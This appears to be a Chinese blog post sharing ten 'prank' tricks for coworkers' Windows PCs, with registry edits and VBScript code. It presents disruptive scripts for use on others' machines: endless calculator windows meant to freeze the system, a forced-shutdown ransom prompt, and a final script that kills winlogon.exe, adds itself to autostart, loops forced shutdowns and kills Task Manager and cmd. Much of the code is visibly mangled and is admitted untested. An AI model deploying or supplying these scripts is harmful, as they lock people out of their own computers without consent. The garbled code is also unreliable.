前段時間看到大家對這種整人的代碼興趣還挺濃厚的,我最近就收集了一些和大家分享。
PS:由於精力問題沒有對代碼的可用性進行一一驗證,所以不保證全部可用,大家如果發現有不可用的或者需要改進的地方請提出來,以下代碼僅供娛樂,請勿用於非法用途。
一、怎麼點都沒反應的桌面
如果同事的電腦開着,他離開電腦前一會,嘿嘿,機會來了。
把他的電腦桌面按print鍵截屏截下來,(當然QQ截屏也可以,不過效果不太逼真!)建議大家用print截屏,設置爲桌面。
然後把原來在桌面上的文件統統移到一個盤的文件夾裏,這樣桌面看上去和平時一個樣。他回來後狂點鼠標,卻怎麼都沒有反應!現在還在關機,開機,關機,開機,關機,開機中…………
附帶:print鍵截屏方法:
鍵盤右上方的“Print Screen Sys Rq”鍵的作用是屏幕抓圖!
用法一,按“Print Screen SysRq”一下,對當前屏幕進行抓圖,就是整個顯示屏的內容。
用法二,先按住“Alt”鍵,再按 “Print Screen SysRq”鍵,則是對當前窗口進行抓圖。如你打開“我的電腦”後,用此法就抓取“我的電腦”窗口的內容。
用上訴兩種方法抓圖後,再打開“開始”、“附件”裏的“畫圖”程序,點“編輯”、“粘貼”就把抓取的圖片貼出來了,可以保存爲自己需要的格式。
哈哈,簡單吧,這方法真挺搞的,有興趣的童鞋可以試試!
二、讓電腦硬盤消失-隱藏磁盤方法
愚人節電腦整人使無端端地電腦磁盤的某個分區消失了,鑽進地縫裏面去了嗎,給外星人抓走了??非也!是某些人使壞將其隱藏起來了!
步驟
1.新建一個記事本
2.將記事本的後綴改爲.reg,就是將“新建文件.txt”改爲“新建文件.reg”
3.將下面的代碼複製到記事本當中:
Windows Registry Editor Version 5.00
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
"NoDrives" =hex:08,00,00,00
解釋
(1)"NoDrives" =hex:08,00,00,00 這個鍵值是隱藏D盤的
圖中的D盤已經神祕消失了。
(2)A=01000000 B=02000000 C=04000000 D=08000000 E=10000000 F=20000000G=40000000 H=80000000 I=00010000 J=00020000 K=00040000
原理介紹:二進制值 “NoDrives”的缺省值均是00,00,00,00,表示不隱藏任何驅動器。鍵值由四個字節組成,每個字節的每一位(bit)對應從A:到Z:的一個盤,當相應位爲1時,“我的電腦”中相應的驅動器就被隱藏了。第一個字節代表從A到H的8個盤,即01爲A,02爲B,04爲C……依次類推,第二個字節代表I到P,第三個字節代表Q到X,第四個字節代表Y和Z。比如要關閉C盤,將鍵值改爲04,00,00,00;要關閉D盤,則改爲 08,00,00,00,若要關閉C盤和D盤,則改爲0C,00,00,00(C是十六進制,轉成十進制就是12)。
理解了原理後,下面以筆者的電腦爲例說明如何操作:筆者的電腦有一個軟驅、一個硬盤(5個分區)、一個光驅,盤符分佈是這樣的:A:(3.5軟盤)、 C:、D:、E:、F:、G:、H:(光盤),所以我的“NoDrives”值爲“02 ff ff ff”,隱藏了B、I到Z盤。
還原方法
1.點擊開始--運行,如圖,在運行對話框中輸入“regedit”,打開註冊表編輯器。
2.依次打開[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer],將右側窗口中"NoDrives"這個子鍵刪除。
3.重新啓動電腦。
三、空空的桌面
電腦桌面是用戶最熟悉不過的了,電腦整人方法電腦啓動之後首先呈現的就是桌面了,如果在愚人節你把你朋友的桌面給Hack掉了話,你的朋友是不是會發瘋啊?
桌面是用戶操作電腦首先進入的界面,電腦桌面空空如也,一望無垠的時候,你是否很無奈?原來這一切都是它在作怪!
如圖整人後桌面清清爽爽,什麼都沒有!
方法步驟
1. 新建一個記事本
2.將記事本的後綴改爲.reg,就是將“新建文件.txt”改爲“桌面.reg”
3.將下面的代碼複製到記事本當中:
Windows Registry Editor Version 5.00
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer]
"NoDesktop"=dword:00000001
"NoSetTaskbar"=dword:00000001
解釋:(1)"NoDesktop"=dword:00000001 這個鍵值是屏蔽桌面的;(2)"NoSetTaskbar"=dword:00000001這個鍵值是禁用“任務欄屬性”功能。
將信息導入到註冊表之後,桌面圖標、桌面右鍵、桌面屬性的功能都被禁用了。
還原方法:
1.點擊開始--運行,如圖,在運行對話框中輸入“regedit”,打開註冊表編輯器。
2依次打開[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer],將右側窗口中“NoDesktop”、“NoSetTaskbar”這兩個子鍵刪除。
四、讓天使替我說我愛你
送給你女朋友她會高興地,保存爲.vbs格式
五、打開無數個計算器
set wsh=createobject("wscript.shell")
do
wsh.run "calc"
loop
這段代碼是打開無數個計算器,直到死機 ,也是保存爲.vbs格式
六、你被耍了
while(1)
msgbox "哈哈你被耍了!"
loop
這段代碼就比較壞了,一直彈出窗口顯示"哈哈,你被刷了!"要是你不會結束它,只好重啓電腦了,也是保存爲.vbs格式
七、甩不掉的魔鬼
WScript.Echo("嘿,謝謝你打開我哦,我等你很久拉!"&TSName)
WScript.Echo("你是可愛的小朋嗎?")
WScript.Echo("哈,我想你拉,這你都不知道嗎?")
WScript.Echo("怎麼纔來,說~是不是不關心我")
WScript.Echo("哼,我生氣拉,等你這麼久,心都涼啦。")
WScript.Echo("小強很生氣,後果很嚴重哦。")
WScript.Echo("嘿嘿!你也會很慘滴哦")
WScript.Echo("是不是想清除我?")
WScript.Echo("那你要點上50下哦,不過會給你驚喜滴")
WScript.Echo("還剩49下,快點點哦")
WScript.Echo("還剩48下,快點,小笨蛋!")
WScript.Echo("還剩47下對,就這樣快點點!")
WScript.Echo("還剩46下。你啊就是笨,要快哦,我先不打擾你工作。")
WScript.Echo("還剩45下,記得要快哦!")
WScript.Echo("還剩43下")
WScript.Echo("還剩42下")
WScript.Echo("還剩41下")
WScript.Echo("還剩40下")
WScript.Echo("還剩39下")
WScript.Echo("還剩38下")
WScript.Echo("還剩37下")
WScript.Echo("還剩36下")
WScript.Echo("還剩35下")
WScript.Echo("還剩34下")
WScript.Echo("還剩33下")
WScript.Echo("還剩32下")
WScript.Echo("還剩30下")
WScript.Echo("還剩29下")
WScript.Echo("還剩28下")
WScript.Echo("還剩27下")
WScript.Echo("還剩26下")
WScript.Echo("還剩25下")
WScript.Echo("還剩24下")
WScript.Echo("還剩23下")
WScript.Echo("還剩22下")
WScript.Echo("還剩21下")
WScript.Echo("還剩20下")
WScript.Echo("還剩19下")
WScript.Echo("還剩18下")
WScript.Echo("還剩17下")
WScript.Echo("還剩16下")
WScript.Echo("還剩15下")
WScript.Echo("還剩14下")
WScript.Echo("還剩13下停停!!!慢點,我有話要說")
WScript.Echo("還剩12下,你繼續點我就會消失滴")
WScript.Echo("還剩11下,以後就看不到我拉。555555")
WScript.Echo("還剩10下,你現在可以選擇停止!")
WScript.Echo("還剩9下。你還點啊,不要我拉?")
WScript.Echo("還剩8下,有點傷心拉,幹嘛丟棄人家")
WScript.Echo("還剩7下。瘋了,你有點負意!")
WScript.Echo("還剩6下。對。你就點吧,我恨你!")
WScript.Echo("還剩5下,不明白,刪除我你就好嗎?")
WScript.Echo("還剩4下!真要刪除我?")
WScript.Echo("還剩3下。可是我真的很眷戀你。。。")
WScript.Echo("還剩2下。不要這麼絕情嘛,人家是愛你的!")
WScript.Echo("還剩1下。哼,既然你這麼絕情。也別怪我無義!!!")
WScript.Echo("我本因該消失的,不過我留戀你滴芳容,上帝又給了一次機會。")
WScript.Echo("想結素我麼?那你就再多點一次")
WScript.Echo("想結素我麼?那你就再多點一次")
WScript.Echo("想結素我麼?那你就再多點一次")
WScript.Echo("想結素我麼?那你就再多點一次")
改成.vbs
八、說我是豬
on error resume next
dim WSHshellA
set WSHshellA =wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c shutdown -r-t 180 -c ""說我是豬,不說我是豬就一分鐘關機,不信,試下···"" ",0 ,true
dim a
do while(a <> "我是豬")
a = inputbox ("說我是豬,就不關機,快撒,說""我是豬""
","說不說","",8000,7000)
msgbox chr(13) + chr(13) + chr(13) +a,0,"MsgBox"
loop
msgbox chr(13) + chr(13) + chr(13) + "早說就行了嘛"
dim WSHshell
set WSHshell =wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c shutdown-a",0 ,true
msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈,好乖"
這個運行後必須輸入我是豬(當然你也可以改成別的,把代碼中所有的我是豬換成你想改的,
比如說我愛XXX之類的,大家懂的 ),如果一分鐘沒輸入我是豬,就會關機.也改成.vbs
九、被鬼附身的記事本
dim sh,str,a,i
setsh=createobject("wscript.shell")
sh.run "notepad" '打開記事本
do while sh.appactivate("無標題 - 記事本")=false
wscript.sleep 1000
loop
str="wokao1!ni1youmeiyou1gaocuo1!"'這一行是演示中文輸入。定義要打字的字符串。只能是英文或數字或符號。
'如果想輸入中文請把下2行的註釋去掉。否則就在前面加上註釋符號“'”(不帶引號)
'並在str中輸入按鍵的過程如:想輸入“氣死我了”就寫 qisiwole1
sh.sendkeys "^ "
'解釋上一行:呼喚中文輸入法
for i=0 to len(str)-1
a=mid(str,i+1,1)
sh.sendkeys a '發送虛擬按鍵
wscript.sleep 500 '打字速度。數值越小越快。
next
save=1 '如想保存則寫1
if save=1 then
sh.sendkeys "^ "
'解釋上一行:關閉中文輸入法。如果是中文,則必須去掉上一行的註釋。
sh.sendkeys "^s"
wscript.sleep 300
sh.sendkeys "c:\name.txt" '文件名(可寫路徑),必須是英文。如果是中文模式,則必須將其關閉
wscript.sleep 100
sh.sendkeys "{Enter}"
end if
這個會自動打開筆記本,自己寫字,怎麼樣?是不是有貞子爬到你電腦裏的感覺?也是保存爲.vbs格式
十、藍屏代碼
for each ps in getobject("winmgmts:\\.\root\cimv2:win32_process").instances_
ifUcase(ps.name)=Ucase("winlogon.exe") then
ps.terminate
end if
next
for each ps ingetobject("winmgmts:\\.\root\cimv2:win32_process").instances_
ifUcase(ps.name)=Ucase("winlogon.exe") then
ps.terminate
end if
next
Setws=CreateObject("WScript.Shell")
setfs=createobject("scripting.filesystemobject")
dim a1,a2,a3,thn,i
thn=wscript.scriptfullname
a1=fs.getparentfoldername(fs.GetSpecialFolder(0))
fs.copyfilethn,a1&"\admin123.vbs",true
do while i<10
i=i+1
ws.RegWrite"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\admin","C:\admin123.vbs"
loop
ws.run "shutdown -s -f -t 60"
do
wscript.sleep 500
if ws.appactivate("Windows 任務管理器")=truethen
ws.run "taskkill /f /imTaskmgr.exe"
end if
if ws.appactivate("命令提示符")=truethen
ws.run "taskkill /f /im cmd.exe"
end if
ifws.appactivate("C:\WINDOWS\system32\cmd.exe")=true then
ws.run "taskkill /f /im cmd.exe"
end if
if ws.appactivate("系統關機")=falsethen
ws.run "shutdown -s -f -t 30"
end if
loop
改成.vbs